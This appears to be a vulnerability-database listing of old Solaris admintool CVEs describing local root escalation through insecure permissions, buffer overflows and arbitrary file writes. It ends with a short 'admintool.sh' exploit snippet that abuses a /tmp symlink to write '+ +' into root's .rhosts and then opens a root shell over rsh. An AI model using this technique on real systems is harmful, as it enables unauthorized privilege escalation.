CVE-1999-1027

Solaris 2.6 HW3/98 installs admintool with world-writable permissions, enabling local users to escalate privileges by replacing the admintool binary with a Trojan horse program. Root cause: insecure file permissions on an installed admin tool. Impact: local privilege escalation; exact scope not q...

CVE-1999-1027: Undefined Security Weakness

Solaris 2.6 HW3/98 installs admintool with world-writable permissions, which allows local users to gain privileges by replacing it with a Trojan horse program...

CVE-2002-0088

CVE-2002-0088 affects Sun Solaris admintool (2.6, 7, 8). A buffer overflow in the installation path handling allows a local user to gain root privileges by supplying a long media installation path. The underlying cause is insufficient bounds checking on the installation path. Impact is local priv...

CVE-2002-0089: Undefined Security Weakness

Buffer overflow in admintool in Solaris 2.5 through 8 allows local users to gain root privileges via long arguments to 1 the -d command line option, or 2 the PRODVERS argument in the .cdtoc file...

CVE-2002-0088: Undefined Security Weakness

Buffer overflow in admintool in Solaris 2.6, 7, and 8 allows local users to gain root privileges via a long media installation path...

CVE-1999-0135

admintool in Solaris allows a local user to write to arbitrary files and gain root access...

CVE-1999-0135: Undefined Security Weakness

admintool in Solaris allows a local user to write to arbitrary files and gain root access...

admintool.sh

setenv DISPLAY yourdisplay:0.0 ln -s /.rhosts /tmp/.group.lock /usr/bin/admintool browse - group - edit a group - get an error message - exit echo "+ +" .rhosts /usr/bin/rsh localhost -l root "/usr/openwin/bin/xterm&"...